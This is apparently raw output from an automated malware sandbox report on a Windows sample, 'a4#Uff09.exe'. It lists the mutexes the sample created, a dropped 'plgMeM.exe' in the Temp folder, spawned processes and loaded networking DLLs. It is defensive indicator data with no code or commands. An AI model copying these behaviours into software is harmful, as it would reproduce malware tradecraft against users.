                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4252_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5648_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_496_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4444_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4532_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7052_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4188_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_6116_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1260_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_5980_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5960_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6440_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2416_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\upfc.exeM_3076_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2692_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1804_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2376_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1436_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\explorer.exeM_4056_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\shellexperiencehost.exeM_8092_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\winlogon.exeM_556_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1188_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1520_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1992_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2524_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7116_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2536_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4324_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\sihclient.exeM_7812_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6636_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4348_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6612_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6600_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1460_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1044_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2636_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3468_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5740_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2612_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1400_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_568_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6692_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1872_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3836_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3848_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6308_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_520_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1668_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5264_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3452_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5544_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wmiadap.exeM_3956_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\cscript.exeM_5912_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6364_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1752_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_864_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3596_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4028_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4944_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6808_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2424_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1212_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2632_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_5104_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7004_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\sgrmbroker.exeM_1792_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4456_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_792_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7112_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6500_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3524_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1796_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\mpcmdrun.exeM_4716_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2948_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5436_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5412_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6120_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7136_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5380_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6656_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4844_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2000_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_780_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3060_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_356_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1064_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_968_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2668_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2876_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2656_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_748_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_5928_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6776_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7264_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6708_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\mousocoreworker.exeM_7592_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5260_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6316_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6328_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3536_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\ctfmon.exeM_3852_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3012_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1760_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2316_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6448_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6412_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1952_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1976_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7000_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4504_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_6552_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3828_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7080_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3556_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3644_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_932_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2676_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\winstore.app.exeM_1868_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4308_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6520_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7132_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7436_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6948_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\dashost.exeM_4492_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3396_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2716_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5444_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\memory compressionM_1608_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1736_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_6740_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4288_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3472_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_772_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1096_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6640_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_704_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_6224_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\spoolsv.exeM_2216_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\smartscreen.exeM_5672_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_5112_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4256_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_180_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\services.exeM_624_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5660_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4636_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6704_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1540_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6380_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\dwm.exeM_976_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5148_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5124_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5200_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1344_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4888_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5604_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4692_
                Source: C:\Users\user\Desktop\a4#Uff09.exeMutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5628_
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\Users\user~1\AppData\Local\Temp\plgMeM.exeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile read: C:\Windows\system.iniJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: svchost.exe, 0000000D.00000000.1337788669.000001D957A9F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: CREATE TABLE [WNSPushChannel]( [ChannelId] TEXT NOT NULL, [HandlerId] INTEGER REFERENCES[NotificationHandler]([RecordId]) ON DELETE CASCADE ON UPDATE CASCADE, [Uri] TEXT, [ExpiryTime] INT64, [CreatedTime] INT64, [DeviceVersion] INT64 DEFAULT '0', CONSTRAINT[] PRIMARY KEY([ChannelId]) ON CONFLICT REPLACE);
                Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D09000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SELECT [Id], [AssetPayload], [Status], [LastRefreshTime] FROM [Asset] WHERE [Status]=?;
                Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: INSERT INTO [Activity] ([Id], [AppId], [PackageIdHash], [AppActivityId], [ActivityType], [ActivityStatus], [ParentActivityId], [Tag], [Group], [MatchId], [LastModifiedTime], [ExpirationTime], [Payload], [Priority], [IsLocalOnly], [PlatformDeviceId], [CreatedInCloud], [StartTime], [EndTime], [LastModifiedOnClient], [GroupAppActivityId], [ClipboardPayload], [EnterpriseId], [UserActionState], [IsRead], [GroupItems], [DdsDeviceId], [LocalExpirationTime], [ETag]) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,(SELECT [Value] FROM [ManualSequence] WHERE [Key] = 'Activity'));
                Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D09000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SELECT [Id], [AssetPayload], [Status], [LastRefreshTime] FROM [Asset] WHERE [Status]=?;=
                Source: svchost.exe, 0000000C.00000000.1331482607.0000018CE8D9F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: INSERT INTO [Activity_PackageId] ([ActivityId], [Platform], [PackageName], [ExpirationTime]) VALUES (?,?,?,?);
                Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D12000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: UPDATE [ManualSequence] SET [Value] = [Value] + 1 WHERE [Key] = 'Activity';
                Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D2C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: CREATE TABLE [Activity_PackageId]([ActivityId] GUID NOT NULL, [Platform] TEXT NOT NULL COLLATE NOCASE, [PackageName] TEXT NOT NULL COLLATE NOCASE, [ExpirationTime] DATETIME NOT NULL);
                Source: unknownProcess created: C:\Users\user\Desktop\a4#Uff09.exe "C:\Users\user\Desktop\a4#Uff09.exe"
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess created: C:\Users\user\AppData\Local\Temp\plgMeM.exe C:\Users\user~1\AppData\Local\Temp\plgMeM.exe
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1592
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess created: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
                Source: C:\Users\user\Desktop\a4#Uff09.exeProcess created: C:\Users\user\AppData\Local\Temp\plgMeM.exe C:\Users\user~1\AppData\Local\Temp\plgMeM.exeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: sfc.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: sfc_os.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: textinputframework.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: coreuicomponents.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSection loaded: winhttp.dllJump to behavior
